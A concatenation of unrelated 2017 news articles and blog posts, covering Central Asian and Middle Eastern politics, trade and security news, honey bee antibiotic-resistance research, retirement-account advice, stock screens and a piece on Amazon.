The event was organized by the Regional Environmental Center for Central Asia (CAREC) and the Executive Committee of the International Fund for saving the Aral Sea (EC IFAS).

International experts familiarized the participants with the provisions of the UN Convention on the Law of the Non-Navigational Uses of International Watercourses and the UN Convention on the Protection and Use of Transboundary Watercourses and International Lakes.

Construction of new and increasing capacities of the existing reservoirs on small rivers and watercourses continues in Turkmenistan, said the report. In particular, considerable funds were invested in the construction project of man-made Altyn Asyr Lake in the Karakum desert.
Tashkent, Uzbekistan, Dec. 19

By Diana Aliyeva  Trend:

A decline of 33 percent has been observed in the number of corruption offenses by officials in Uzbekistan during the first nine months of 2017.

This data was announced during the Open Day, organized by the Prosecutor Generals Office of Uzbekistan and timed to the International Day against Corruption.

As part of legislative initiative of the Uzbek president, a law On Combating Corruption (dated January 3, 2017) entered into force in early 2017.

The country is implementing the 2017-2018 State Anti-Corruption Program and the Comprehensive Plan of Action for the practical implementation of anti-corruption measures.

International cooperation in the sphere of combating corruption, which is of great importance in the implementation of these program documents, including with such structures as United Nations Office on Drugs and Crime (UNODC), United Nations Development Programme (UNDP), Organization for Economic Cooperation and Development (OECD), OSCE, Eurasian Group on Combating Money Laundering and financing of terrorism (EAG) and others, has been intensified.

The republican interdepartmental commission on combating corruption has been established and is effectively operating.
Baku, Azerbaijan, Dec. 19

By Azer Ahmadbayli  Trend:

Despite the fact that the EU has recently become Irans third biggest trade partner since signing the nuclear agreement in 2015, the latter is not fully convinced that Europe will refuse to join the possible fresh US sanctions imposed under another pretext  to curb its missile development program, in the first place.

In this regard Paris has already expressed its position, which is close to that of the White House.

Also, Iran doesnt see full-fledged effect of economic interaction with the EU, particularly what concerns the banking ties. Move of the EU to the third spot among Iran's trade partners is explained mainly by purchases of oil from Iran.

Iran used to trade traditionally with Europe (excluding its south-eastern Asia partners), but the countrys national interests and current political risks making Iran beware of being driven into the international isolation once again oblige it, temporary or for a long time, to get closer with countries, which earlier havent been considered its good trade partners.

It seems that Iranian Neighbors are priority policy declared not so long ago by top Iranian officials has been aimed specifically for this purpose.

Irans closest neighbors  Iraq, the United Arab Emirates, Turkey and Afghanistan are among top trade partners of the Islamic Republic.

Reinforcing economic relations with Russia, Azerbaijan and Central Asia states also could help protect the countrys economy from heavy blows of sanctions if imposed.

There are many examples of Irans turn to new (if we can call it that) trade and cooperation destinations. Let's have a deeper look.

Azerbaijan

Trade between Iran and Azerbaijan has increased by 33 percent in the first nine months of 2017, compared to the same period in 2016, President of Azerbaijan Ilham Aliyev stressed during the trilateral summit in Tehran in November. About 450 companies with Iranian capital operate in Azerbaijan.

Proposals to set up the Azerbaijani-Iranian Chamber of Commerce, setting up special economic zone in Iranian border city of Astara, power generation (Khudaferin-Giz Galasi agreement on joint hydropower plant), acceleration in construction of a joint pharmaceutical plant near Baku, establishing a joint venture for the production of agricultural machinery and other issues will be discussed in a few days at the 12th meeting of the Azerbaijan-Iran intergovernmental commission for economic, trade and humanitarian cooperation.

A joint car plant with participation of Azerbaijans AzEuroCar LLC and Iran Khodro is planned to be inaugurated in Azerbaijans Neftchala Industrial District in the coming weeks.

In December, Irans startup Asanbar and the Baku-based Avirtel inked the MoU on the sidelines of Bakutel-2017, Azerbaijan International Exhibition and Conference on Telecommunications and IT. The MoU aims to facilitate trade ties between the two counties particularly in the field of transportation.

Central Asia

Iran has a growing part to play in meeting the landlocked Central Asian countries needs to access the ocean. Newly inaugurated Iranian port of Chabahar could serve as a transit hub for Central Asian goods going for export.

Two years after Iran connected its railroad with Central Asia, the Central Asian countries have dominated the rail transit through Iran with a share of over 90 percent.

Over 960,000 tons of goods were transited through Iranian railways during the first eight months of the current fiscal year (started March 20). Over 770,000 tons of the goods transited by Iranian railroads belong to the Central Asian countries, 80 percent more year-on-year.

Some 580,000 tons of transited goods in the period were loaded from Turkmenistan, which is equal to 60 percent of the total cargo transited via Iranian railroads. Uzbekistan with a 33 percent share stood at second place, followed by Tajikistan.

Uzbekistan and Kazakhstan have recently signed several documents with Iran in several areas, including supplies of oil, transportation, food processing, joint production of agricultural products etc.

Russia

During the recent visit of Alexey Miller, Chairman of Gazprom Management Committee to Tehran, Irans National Iranian Oil Company and Russias Gazprom have signed cooperation agreement. Pursuant to the document, Gazprom will conduct a proof-of-concept study with regard to implementing integrated projects for hydrocarbon production, transmission and processing, including petrochemistry, in Iran's territory.

The sides also signed a Memorandum of Understanding to explore the opportunities for joint efforts within the Iran LNG project.

Iran Railways signed a contract with OJSC Export Insurance Agency of Russia for financing a joint project for manufacturing rail transportation related equipment. The deal is worth 3 billion euros. Under the contract, the two sides agreed to make joint investment within a five-year period for manufacturing passenger and freight rail cars as well as locomotives and other equipment by Iranian and Russian firms in Iran.

The first phase of the contract covers joint manufacture of 6,000 freight cars through funding from the Russian side.

In November, Irans biggest trade center Iranian Trade House was inaugurated in the Russian Caspian port of Astrakhan. The city is a center for commercial activities of nearly 200 Iranian companies which has turned it to the largest center of Iranians economic activities in Russia.

Last week representatives of Altai region  one of the federal subjects of Russian Federation  and Iran signed a memorandum of understanding to strengthen mutual cooperation in economic ties, research and technology.

Regional triangles

In addition to bilateral ties, two regional triangles have been formed in recent times to enhance economic and security cooperation  Iran, Azerbaijan, Turkey and Iran, Azerbaijan, Russia.

The first will have its 5th trilateral meeting held on Dec. 20 in Baku.

The second is even more noticeable, core of which is based on the North-South joint project aiming at building a transportation route to deliver goods from India to Northern Europe.

On December 25, commissioning of the (Azerbaijans) Astara - (Irans) Astara railway as part of the International North-South Transport Corridor project is expected.

All the events, facts and figures described above refer to only last month or two. Iran demonstrates remarkable energy in establishment of new economic ties. Therefore, it looks quite real that Iran will be ready to promptly re-format priorities of its economic partnership if Europe backs down under the US pressure.
The Defense Ministries of Belarus and the UK have signed a plan of military cooperation for 2018, BelTA learned from the press service of the Belarusian Defense Ministry.

On 18 December London played host to a meeting between representatives of the Defense Ministries of Belarus and the UK to discuss bilateral military cooperation and sign a joint statement on cooperation between the two ministries and a plan of military cooperation for 2018.

The Belarusian military delegation also held working meetings in the Foreign and Commonwealth Office of the UK. The parties talked over cooperation in training peacekeeping contingents under the UN aegis.
Russian President Vladimir Putin called on the CIS security agencies to strengthen ties against the backdrop of threats of terrorism.

This is stated in the greeting of the head of state to the participants of the newly opened Council of heads of security agencies and special services of the CIS member states, which was read out by the director of the FSB (Federal Security Service of Russia), Alexander Bortnikov,TASS reported.

"The main danger for citizens of the CIS countries comes from international terrorist organizations operating in Central Asia, the Middle East and North Africa. Terrorists try to use these regions as a springboard for expansion, recruitment and training of new militants, for destabilizing situation in other states, " said Putin's statement.

The current situation in the world requires searching for new, more effective ways of responding to global challenges and threats," the statement said.

"Therefore, it is important for national security agencies to strengthen partnerships, develop coordinated approaches to solving urgent problems, share professional experience, operational and analytical data more actively, and establish relations with civil society structures," said the message.

Putin expressed hope that the meeting would strengthen the interaction of the special services. Such traditional meetings contribute to the development of multilateral cooperation in the fight against terrorism, extremism, drug trafficking and transnational crime.
Developing ties between Moscow and Ankara will be the best way to pay respects to late Russian Ambassador to Turkey Andrei Karlov, killed in a terrorist attack on December 19, 2016, current Russian Ambassador to Ankara Alexei Yerkhov told TASS on Tuesday.

"Not so long ago, Andrei Karlovs bust was unveiled here at the embassy in the presence of his widow Marina," he said. "Russian diplomats working all over the world helped raise funds for the making of the bust," the ambassador noted. "However, I think that advancing Russian-Turkish relations will be the best way to pay respects to him, as he had contributed much to this process," Yerkhov said.

According to the Russian ambassador, the implementation of the Turkish Stream gas pipeline and the Akkuyu Nuclear Power Plant projects, the record number of Russian tourists visiting Turkey and the activities of millions of Russian and Turkish businessmen strengthening bilateral cooperation will be the best tribute to the memory of Andrei Karlov.

Tuesday marks the first anniversary of the death of Russias Ambassador to Turkey Andrei Karlov. He was gunned down on December 19, 2016, while delivering a speech at a photo exhibition. The attacker, an off-duty police officer named Mevlut Mert Altintas, was immediately killed by security forces. Russias Foreign Ministry officially declared the ambassadors murder a terrorist attack, the Investigative Committee opened a criminal case labeling Karlovs assassination an act of international terrorism. Andrei Karlov was posthumously awarded the title of the Hero of Russia.
The earliest appointment date for Turkish citizens applying for a visa to visit the United States is January 2019, the Hurriyet Daily News reported referring to the U.S. Embassy in Turkey.

In spite of long wait times, the U.S. Mission to Turkey continues to process non-immigrant visas, the statement released by the official U.S. Embassy Twitter account read on Dec. 19.

Appointments are available for January 2019, and applicants can as always choose to apply outside of Turkey, the statement added.

The Turkey-U.S. visa row was sparked Oct. 8, when the U.S. Embassy in Ankara announced the suspension of non-immigrant visa services to Turkish nationals.

The move came after the arrest of a local employee at the U.S. Consulate in Istanbul, prompting a tit-for-tat response from Ankara.

According to Washington, two of its Turkish diplomatic mission staff were arrested this year, while a third was summoned by prosecutors.

Ahead of Turkish Prime Minister Binali Yldrms visit to the U.S. on Nov. 9, the two countries mutually decided to ease a visa crisis that emerged after the arrest of two Turkish-citizen employees of the U.S. Istanbul Consulate.
Belarus and China reached an agreement on major joint projects during an industrial forum of Belarusian and Chinese business circles in Shenyang, Liaoning Province, representatives of the Belarusian diplomatic mission in Beijing told BelTA.

The forum gathered over 150 representatives of industrial enterprises from China's northeast. Belarusian companies presented their export capabilities and investment opportunities.

The Belarusian delegation was led by Deputy Industry Minister Alexander Ogorodnikov and included Ambassador of Belarus Kirill Rudy, representatives of export companies and the China-Belarus industrial park Great Stone. Members of the delegation met with representatives of the Liaoning Province administration and representatives of major Chinese companies. Arrangements on future cooperation were made. Bilateral documents were signed.

The Belarusian agricultural machinery manufacturer Gomselmash and Zongshen-Gomel Company signed a program on manufacturing machines together in China in 2018 to the tune of up to $7 million.

The Belarusian tractor maker MTZ and Zongshen Corporation agreed to establish a joint venture in 2018. An agreement was reached on trialing, certifying and selling $7.5 million worth of powerful tractors to China in 2018-2019.

The Belarusian haul trucks manufacturer BelAZ and Sanjiang Corporation reached an agreement on selling components. Bobruiskagromash and the Chongqing-based agricultural machinery manufacturer Zongshen-Gomel intend to trial two kinds of balers to get them certified in China. An agreement on trialing and certifying Bobruiskagromash trailers and feed dispensers was reached with the Chinese companies Dongjin and Zoomlion. The Belarusian automaker MAZ and Fast Group Company agreed to start working on making transmission gearboxes in Belarus.

The presentation of the Belarusian industrial sector during the forum was the first one of a kind in China in the last few years. Despite efforts of both countries Belarus' industrial export to China went down from $66.1 million in 2012 to $24.3 million in 2016. The reached agreements allow one to expect that products by MTZ, BelAZ, and Bobruiskagromash will return to China and that Gomselmash will export more to China.

The forum was arranged by the Embassy of Belarus in China with assistance of the Liaoning Province administration and the China Development Bank.
India and United States reached a new milestone with the inaugural of the bilateral 'Counter-terrorism Designations Dialogue' which was held on December 18-19.

By Geeta Mohan: India and United States reached a new milestone with the inaugural of the bilateral 'Counter-terrorism Designations Dialogue' which was held on December 18-19.

In a join statement, both sides highlighted the importance of working together in combating terror threats and "designations" was one way of ensuring that.

"The establishment of this mechanism reflects shared US and Indian commitments to strengthen cooperation against terrorist threats", the statement said.

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This mechanism was discussed during the Indo-US Strategic dialogue that took place between US Secretary of State, Rex Tillerson, and External Affairs Minister, Sushma Swaraj, in October.

Officials of the two sides have been in constant touch to work out the details before the key 'Counter-terrorism Designations Dialogue' could be unveiled.

The joint statement said, "The US and Indian delegations exchanged information on procedures for pursuing designations against terrorist groups and individuals through domestic and international mechanisms."

While both sides have strengthened counter terror cooperation since 26/11 Mumbai terror attack, India and US "discussed best practices for effective implementation of the designations".

The need arose for such a mechanism to show demonstrable intent on both sides to not discriminate among terrorists and terror networks.

Despite the fact that Pakistan let free terror mastermind and Chief of Lashkar-e-Taiba (LeT), very recently US Congressional Committee under duress from the US Department of Defence (DoD) dropped a provision linking financial aid to Pakistan with Islamabad taking demonstrable action against Lashkar-e-Taiba.

This de-linking of LeT from the US designated list was set the alarm bells off in South Block.

The initiative will also find ways to move together on mutual concerns through "domestic" and "international" mechanisms which is a clear indication of countering Chinese moves of protecting Pakistan's interests, such as blocking India's move to ban Masood Azhar at the UNSC 1267 Al Qaeda Sanctions Committee.

United States' support to India has been spelt out by President Trump in his "National Security Strategy" which was released on Monday.

India welcomed it with the official Spokesperson saying in a statement, "We appreciate the strategic importance given to India-US relationship in the new National Security Strategy released by the US."

The statement added, "As two responsible democracies, India and the US share common objectives, including combating terrorism and promoting peace and security throughout the world. A close partnership between India and the US contributes to peace, stability and prosperity in the Indo-Pacific region as well as to the economic progress of the two countries."

The United States will host the second US-India Counter-terrorism Designations Dialogue in 2018.

ALSO WATCH | Most stunning terror tapes since 26/11: Karachi's Kasab nails Pakistan

--- ENDS ---

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Baku, Azerbaijan, Dec. 19

By Rufiz Hafizoglu  Trend:

Turkey is moving additional military equipment to the province of Hatay on the border with Syria, Turkish media reported Dec. 19 quoting military sources.

Turkish Armed Forces on the border with Syria have been put on full combat readiness.

Earlier, Foreign Minister Mevlut Cavusoglu said Turkey doesnt rule out a new military operation against the YPG (Kurdish People's Protection Units) and the PYD (Kurdish Democratic Union Party) in the Syrian city of Afrin.

It was also reported that the Turkish Armed Forces are fully ready for operations in Afrin.

The start of operations in Afrin is a matter of time, said the reports.
At least 81 people have been injured in massive protests against the upcoming pension cuts, Sputnik reported, citing El Observador news outlet.

The violent backlash of the Argentinian citizens in Buenos Aires that was sparked by the controversial pension bill reportedly lasted four hours. The protesters threw stones, bottles and smoke bombs, while the police responded with tear gas and rubber bullets. Local media stressed that 48 police officers were also among those injured in clashes.

Local authorities said that 48 people were detained.

The Argentine government is trying to push forward a controversial pension reform, which is expected to reduce the government deficit. The activists claim that the reform would result in cutting pensions.

At the moment, the draft reform bill is reviewed by the Chamber of Deputies, the countrys lower house.
The US Department of Defense said in a press release that Lockheed Martin has received a $110-million contract to design and manufacture the Gray Wolf sub-sonic cruise missile intended to help defeat integrated air defense systems in contested environments, Sputnik reported.

Pentagon explained the contract provides for the design, development, manufacture and testing of prototype-affordable cruise missiles "to advance networked collaborative operations technologies for defeat of enemy integrated air defense systems."

"Lockheed Martin Missiles and Fire Control, Dallas, Texas, has been awarded an $110,000,000 contract for the Gray Wolf Cruise Missile Science and Technology Demonstration effort," the release said on Monday.

The Gray Wolf program is an effort led by the US Air Force Research Laboratory.

"The objective of this effort is to conduct research and development to advance and mature affordable tactical cruise missiles employed in networked, collaborative operations in support of defeating enemy integrated air defense system in highly contested environments," the release said.

Work under the contract will be performed in the US state of Texas with and is expected to be completed on December 17, 2022, according to the release.
Baku, Azerbaijan, Dec. 19

By Rufiz Hafizoglu  Trend:

Four Syrian citizens, plotting a terrorist attack, were detained in Turkeys southern Hatay province, the Turkish media reported Dec. 19.

Reportedly, the detainees infiltrated Turkey illegally.

Presently, the detainees relations with Turkish citizens are being established.

The conflict between Turkey and the PKK, which demands the creation of an independent Kurdish state, has continued for more than 30 years and has claimed more than 40,000 lives.

The UN and the European Union list the PKK as a terrorist organization.

---

Follow the author on Twitter: @rhafizoglu
Kuwait and Tajikistan are eager to bolster ties on all possible domains, especially within the economic sector, said Kuwait Chamber of Commerce and Industry (KCCI) Tuesday, Xinhua reported.

Meeting with visiting Tajik Minister of Economic Development and Commerce Nematullo Hikmatullozoda, KCCI Chairman Ali Al-Ghanim said that both nations are eager to seek more venues of cooperation.

He called on the Tajik delegation to provide all the necessary data to inform Kuwait on business opportunities in Tajikistan.

Hikmatullozoda said that Tajikistan is interested in boosting economic cooperation with Kuwait, affirming that the current visit by the Tajik delegation was aimed at improving commercial exchange between the two nations.

He said that his meeting with the KCCI chairman focused on the business and investment opportunities in Tajikistan.

The Tajik minister took part in the second Kuwaiti-Tajik joint economic, commercial, and scientific committee meeting held on Dec. 18-19.
Baku, Azerbaijan, Dec. 19

By Rufiz Hafizoglu  Trend:

A policeman was killed during the shootout in Ankara, the Turkish media reported Dec. 19.

Reportedly, the incident occurred during checking of documents of one of the bus passengers, which was traveling to the countrys Siirt eastern province.

The shooter managed to escape from the scene.

According to the preliminary information, he is a member of the Kurdistan Workers Party (PKK).

The conflict between Turkey and the PKK, which demands the creation of an independent Kurdish state, has continued for more than 30 years and has claimed more than 40,000 lives.

The UN and the European Union list the PKK as a terrorist organization.

---

Follow the author on Twitter: @rhafizoglu
Baku, Azerbaijan, Dec. 19

By Rufiz Hafizoglu  Trend:

Turkey will not change its policy regarding Palestine, Ibrahim Kalin, special adviser and spokesperson of President Recep Tayyip Erdogan, said, Turkish media reported Dec. 19.

"Turkey once again calls on the US to change its decision regarding recognition of Jerusalem as the capital of Israel," he said.

Previously, US President Donald Trump proclaimed that the US recognizes Jerusalem as the capital of Israel. Israel proclaimed Jerusalem its capital after the end of the War of Independence in 1949. In 1967, after the Six Days War, it seized East Jerusalem and united it with the West Jerusalem, but the UN did not recognize this. Embassies of countries that have diplomatic relations with Israel are located mainly in Tel Aviv, Herzliya and Ramat Gan.

On Dec. 18, the US as a permanent member of the UN Security Council vetoed a UNSC resolution that doesnt recognize changing Jerusalem's status. The remaining 14 UNSC members voted in favor of the resolution.

On Dec. 13, East Jerusalem was declared the capital of Palestine in a resolution adopted by the OIC emergency summit in Istanbul. The OIC also urged all countries to condemn the US decision to recognize Jerusalem as the capital of Israel.

---

Follow the author on Twitter: @rhafizoglu
Turkey has condemned Tuesday's firing of a ballistic missile by Yemen's Houthi militia toward the Saudi capital Riyadh, Anadolu reported.

The Turkish Foreign Ministry said: "We condemn this attack and we are pleased that it did not cause any casualties or material damage in friendly and brotherly Saudi Arabia thanks to its interception by the Saudi air defense systems."

According to the Houthi-run Al-Masira television channel, the missile reportedly targeted Riyadh's Yamama Royal Palace, which houses the office of King Salman bin Abdulaziz.

"The missile targeted a large meeting of Saudi regime officials that was being held at the palace," the broadcaster reported.

But while Al-Masira said the missile had "found its target", a Saudi-led Arab coalition -- which has been fighting the Houthis since 2015 -- said the missile was intercepted before it could cause any damage.

It was the second missile to be fired at Riyadh from Yemeni territory within the last two months.

On Nov. 4, the Saudi-led coalition announced it had successfully intercepted a Houthi missile fired at Riyadhs King Khalid International Airport.
By PTI, PTI, PTI: New Delhi, Dec 19 (PTI) InFocus, which has a licensing deal with contract handset maker Foxconn, will double its marketing spend to USD 20 million (over Rs 128 crore) in India next year as it lines up a large portfolio of feature and smartphones. InFocus plans to introduce 10 feature phones and eight smartphones next year as it looks to capture 5 per cent share of the hyper-competitive Indian handset market. "We have used this year to understand the Indian market and are now going aggressive on the market here. We will double our marketing budget to USD 20 million in 2018 and expanding our presence here," InFocus Global CEO Luo Zhongsheng told PTI. The company also plans to introduce premium handsets under the Sharp brand in the coming quarter, he added. The company today launched a new smartphone - Vision 3 - priced at Rs 6,999.

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The handset, which features a 5.7-inch full vision screen (18:9 resolution), will be available from December 20 on Amazon.in.

It features a 1.3GHz quad-core processor, 2GB RAM, 16GB internal memory (expandable up to 64GB), 13MP and 5MP deal lens camera, and 4,000 mAh battery. PTI SR SA

--- ENDS ---
It's the kind of thing you might lose sleep over.

How will humans survive serious infections in the future if we're running out of tools today to fight them? Antibiotic resistance among disease-causing bacteria is of global concern, as some last-resort drugs can no longer cure common illnesses such as urinary tract infections.

To make matters worse, researchers from Arizona State University and Norwegian University of Life Sciences have discovered that our very own gut bacteria may be perpetuating the resistance. Scientists uncovered this startling finding while investigating the microbial life in honey bee guts.

"To our surprise, we found that instead of one gut bacterium acquiring resistance and outcompeting all the other gut bacteria in honey bees, the resistance genes spread in the bacterial community so that all strains of bacteria survived," said Gro Amdam, a professor with ASU School of Life Sciences and co-author of the paper.

The finding was published in the current issue of the journal Molecular Ecology.

In the study, scientists investigated gut bacteria in honey bees to explore the question, "What happens to gut bacteria when they are exposed to antibiotics over a long period of time?" While honey bees have a simpler microbial community in their guts compared to humans, they also have features in common.

"There is an important similarity between honey bee and human gut bacteria, in that some bacteria are in symbiosis with the host -- these are important for host health," said Jane Ludvigsen, a doctoral student with the Norwegian University of Life Sciences and lead author of the paper. "The bacteria we investigated are symbiotic for the honey bee, and they each have important functions. Because they must all be there for the host to be well, we think this is the reason that antibiotic-resistant genes have spread to all."

Overuse of antibiotics

In this study, researchers focused on microbes that are resistant to tetracycline. In addition to use in human medicine, tetracycline is an antibiotic that has been widely used for decades to promote growth in animals -- often in chicken, cattle and pig farming. It's also commonly sprayed on plants, including apple and pear trees, to prevent diseases such as fire blight, which can devastate crops. In the U.S., tetracycline has been used even on organic farms. In Norway, rules on antibiotic use in farming of any kind are much stricter.

The scientists compared the antibiotic-resistant genes in honey bee populations from Arizona and Norway. There were surprising geographic differences.

"In the bees from Arizona, we saw that even though they have not been in contact with tetracycline for many years, the resistance genes are still there," said Ludvigsen. "Also, in the Norwegian population, we found some antibiotic-resistant genes, but few.

"I think that if there are more resistance genes in the environment, more transfer happens. Also, if the bees are exposed to tetracycline in their environment, they may need to get and keep the resistance genes. Tetracycline is used still in the U.S., so that might be a trigger. That deserves further study, as it was not the focus of this paper."

When the research team studied the antibiotic-resistant genes in the Arizona honey bee population, they found six different variants of this genetic resistance -- each variant is the product of a mutation within the gene. In the bee population in Norway, the team found only one adaptation.

Amdam said one way to think about it is this: Tetracycline-resistant microbes are everywhere. They are in the dirt, on plants and animals, and even inside us. But given enough time, without exposure to antibiotics, some of this resistance should go away. One factor needed for antibiotic resistance to remain prevalent is to keep the selective pressure on. This is why Amdam and Ludvigsen say it's important to reduce or eliminate the use of antibiotics in both agriculture and farming, and limit unnecessary use in human health as much as possible.

Antibiotic-resistant microbes in humans

Many people believe that antibiotic-resistant bacteria are mainly found in places such as hospitals. And although dangerous microbes can be found there, they are also found in our everyday environments.

"Our paper predicts that if there is already antibiotic resistance in your gut, then most or all of your gut microbes will also carry this resistance. Basically, we've become potent reservoirs for carrying antibiotic-resistant genes," said Amdam. "This is not good news from an epidemiological point of view. If our paper is right, then from what we see in the U.S. and Norway, you can keep accumulating multiple versions of antibiotic-resistant genes. If pathogenic bacteria pass through your body, they can also pick up this resistance."

The researchers say one next step could be to study how the bees' gut selects for certain kinds of bacteria, and not others. For example, in humans, we know that the immune system is involved in accommodating the "right" gut bacteria, but the role of the honey bee immune system is largely unknown.

###
The days of the pension are fading quickly -- were those days ever really here? -- and if something isn't done about the shortfall in Social Security, benefits could be cut in the decades ahead as well.

That means that now more than ever, you -- and you alone -- are responsible for securing financial stability in your retirement. Outside of a company-sponsored 401(k) or 403(b) plan, there are no vehicles more important to securing that future than Individual Retirement Accounts (IRAs) -- both traditional and Roth.

Man with head down at desk

Image source: Getty Images

But because these accounts are in your command alone, it's also very easy to make devastating mistakes that you'll regret for decades to come. Following are three of the biggest mistakes, and how to avoid making them.

1. Not contributing to your IRA

This might seem obvious, but it needs to be said: The dumbest mistake you can make when it comes to IRAs is not contributing to them. Of course, if you're living paycheck to paycheck, it's going to be hard to sock money away. But for everyone else, there's little excuse.

Currently, only one-third of Americans even have an IRA. Those who aren't using them are missing out on substantial tax benefits.

Traditional IRA contributions are tax-deductible the year you put them in, lowering how much you pay in taxes now. And because you'll probably have less income in retirement, you can pay lower rates later.

Roth IRA contributions won't lower your tax rate now, but all growth and distributions -- in retirement -- are completely tax-free.

Every little bit counts. Even if you're 25 and can only sock away $500 this year into a Roth, that could grow to $15,700 -- assuming 9% annualized returns -- by the time you're 65. And it'll be yours tax-free!

You are allowed to contribute to your 2017 IRAs until April 17, 2018. You can contribute $5,500 total to a Roth and/or traditional IRA combined -- and $6,500 if you're over 50.

Story continues

2. Pulling money out of your Roth first

This is a controversial one, because there are a lot of different factors that play into how and when you should pull money out of different accounts. Some people have pensions, others have 401(k)s, and still others continue to work while pulling money from their nest egg. Everyone's situation is different.

That being said, assuming that you have relatively equal investments in both your traditional and Roth IRAs, I think it usually makes the most sense to pull out of your traditional IRA -- and 401(k) plans -- first. When those are exhausted, you can pull out of your Roth.

There are two reasons I generally like this approach. First, you are required to start taking distributions from your traditional IRA at 70 years and six months of age. By taking money from your traditional retirement accounts when you first retire, this requirement won't be as big a concern once you're old enough for it to apply.

More importantly, by pulling money out of your traditional IRA first, you allow your Roth to grow -- tax free -- over a longer time frame. That's important, because this growth is not taxed, nor are distributions, which is not the case with a traditional IRA. You generally get more bang for your buck by pulling out of a Roth later.

That said, there are situations in which pulling money from a Roth IRA first does make sense. For instance, there are income thresholds for some tax breaks that retirees commonly use, and taking money from a Roth first can help you avoid going over those thresholds and losing those tax benefits. The key is to look at your particular tax situation to see what works for you.

3. Early withdrawals to help pay for college

Finally, while it's well intentioned, I don't think it's wise for parents to pull money out of their retirement accounts early to help pay for college when your student is in school. The reasons are numerous.

Smiling family gathered outdoors around a graduate in cap and gown.

Image source: Getty Images

First, by doing so, you might face -- if you are younger than 59 years and six months -- a 10% penalty on your early withdrawal. Withdrawals for tuition, required fees, books, and supplies are exempt from this penalty, but other expenses, such as room and board, are not.

Furthermore, those losses will be compounded by the fact that this money will no longer be able to grow in your account until you reach retirement. In the end, you could be setting your child up to provide more financial assistance that you or they are comfortable with in your later years.

If helping your child out is of the utmost importance, and you don't have enough put away in an education savings account, there are other options. I favor allowing your child to take out student loans in his or her name. Then -- if you must -- pull money out of your accounts once those debts become due after graduation. At least then, you'll be four to five years older -- more likely to avoid the early-withdrawal penalty -- and your accounts will have had another half-decade to compound.

Remember, there's no one who cares as much about what your retirement will look like than you. Start using IRAs to your advantage now, and make sure you think twice before making any of these common mistakes.

More From The Motley Fool

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- By Tiziano Frateschi





According to GuruFocus" All-In-One Screener, the following companies have grown their book value per share (BV/S) over the past decade.

BV/S is calculated as total equity minus preferred stock, divided by shares outstanding (EOP). Theoretically, it is what shareholders will receive if the company is liquidated. Total equity is a balance sheet item and equal to total assets minus total liabilities. Since the BV/S may not reflect the company"s true value, some investors check the tangible book value to confirm their investment ideas.





The BV/S of SK Telecom Co. Ltd. ADR (SKM) has grown by 5% over the past 10 years. The price-book (P/B) ratio is 1.2, and the price to tangible book value is 1.7.

The company provides wireless telecommunications services. It has a market cap of $17.69 billion.

According to the discounted cash flow (DCF) calculator, the stock is undervalued and is trading with a margin of safety of 23% at $28.2. The stock price has been as high as $28.33 and as low as $20.44 in the past 52 weeks. It is 0.46% below its 52-week high and above 37.96% its 52-week low. The price-earnings (P/E) ratio is 8.25.

Sarah Ketterer (Trades, Portfolio) is the largest shareholder among the gurus with 0.46% of outstanding shares followed by NWQ Managers (Trades, Portfolio) with 0.3%, Jim Simons (Trades, Portfolio) with 0.1% and Jeremy Grantham (Trades, Portfolio) with 0.1%.

BanColombia SA ADR (CIB)"s BV/S has grown by 12% over the past decade. The P/B ratio is 1.3, and the price to tangible book value is 1.8. The financial institution in Panama has a market cap of $9.22 billion.

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According to the DCF calculator, the stock is undervalued and is trading with a margin of safety of 13% at $38.36. The stock price has been as high as $48.74 and as low as $35.53 in the past 52 weeks. It is 21.30% below its 52-week high and 7.97% above its 52-week low. The P/E ratio is 9.96.

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The company"s largest shareholder among the gurus is Bernard Horn (Trades, Portfolio) with 0.25% of outstanding shares followed by Simons with 0.16% and Grantham with 0.09%.

The BV/S of Novo Nordisk A/S ADR (NVO) has grown by 7% over the past 10 years. The P/B ratio is 17.6, and the price to tangible book value is 18.6.

The health care company has a market cap of $127.35 billion.

According to the DCF calculator, the stock is undervalued and is trading with a margin of safety of 20% at $52.51. The stock price has been as high as $53.49 and as low as $32.83 in the past 52 weeks. It is 1.83% below its 52-week high and above 59.95% its 52-week low. The P/E ratio is 21.27.

Simons is the largest shareholder of the company among the gurus with 0.59% of outstanding shares followed by Ken Fisher (Trades, Portfolio) with 0.5%, Tom Gayner (Trades, Portfolio) with 0.04% and Steven Cohen (Trades, Portfolio) with 0.01%.

CGI Group Inc. Class A (GIB)"s BV/S has grown by 16% over the past decade. The P/B ratio is 3.1. The company offers information technology services and has a market cap of $15.52 billion.

425811887.png

According to the DCF calculator, the stock is undervalued and is trading with a margin of safety of 15% at $53.97. The stock price has been as high as $54.64 and as low as $45.81 in the past 52 weeks. It is 1.23% below its 52-week high and 17.81% above its 52-week low. The P/E ratio is 20.

The company"s largest shareholder among the gurus is Ray Dalio (Trades, Portfolio) with 0.02% of outstanding shares followed by Grantham with 0.01% and Joel Greenblatt (Trades, Portfolio) with 0.01%.

The BV/S of Eagle Bancorp Inc. (EGBN) has grown by 15% over the past 10 years. The P/B ratio is 2.1, and the price to tangible book value is 2.4.

1967718676.png

The company is a part of the financial services domain. It has a market cap of $2.01 billion.

According to the DCF calculator, the stock is undervalued and is trading with a margin of safety of 34% at $58.9. The stock price has been as high as $69.80 and as low as $46.20 in the past 52 weeks. It is 15.62% below its 52-week high and above 27.49% its 52-week low. The P/E ratio is 18.29.

Fisher is the largest shareholder of the company among the gurus with 0.22% of outstanding shares followed by Simons with 0.08%.

Disclosure: I do not own any shares of any stocks mentioned in this article.

This article first appeared on GuruFocus.






Nowhere was Amazons position as a retail juggernaut better symbolized than a photograph last July of a buff Jeff Bezos strutting around Sun Valley, Idaho, guns blazing. The shot of the CEO, which went viral and inspired a stream of breathless coverage like GQ Magazines Jeff Bezos big-ass biceps will shame you into working out this weekend, served as a stark symbol of how far he and Amazon have come since Bezos jump-started Amazon in his Seattle garage to peddle books online.

Amazon (AMZN) still sells books, of course. But it does so much more now, from cloud-based services to food delivery, much to the delight of more than 300 million shoppers spoiled by its competitive pricing and fast shipping.

While Amazon continues to account for a relatively small share of retail overall, the company continuously made business headlines.

The e-commerce giants broad reach is also drawing the attention of lawmakers like Senator Cory Booker, who argue that big tech companies like Amazon and Google have simply become too big and should face greater antitrust scrutiny.

Amazon has had quite the year, which is why Yahoo Finances editors selected the Seattle tech giant as 2017s Company of the Year. Credit: David Foster/Yahoo Finance

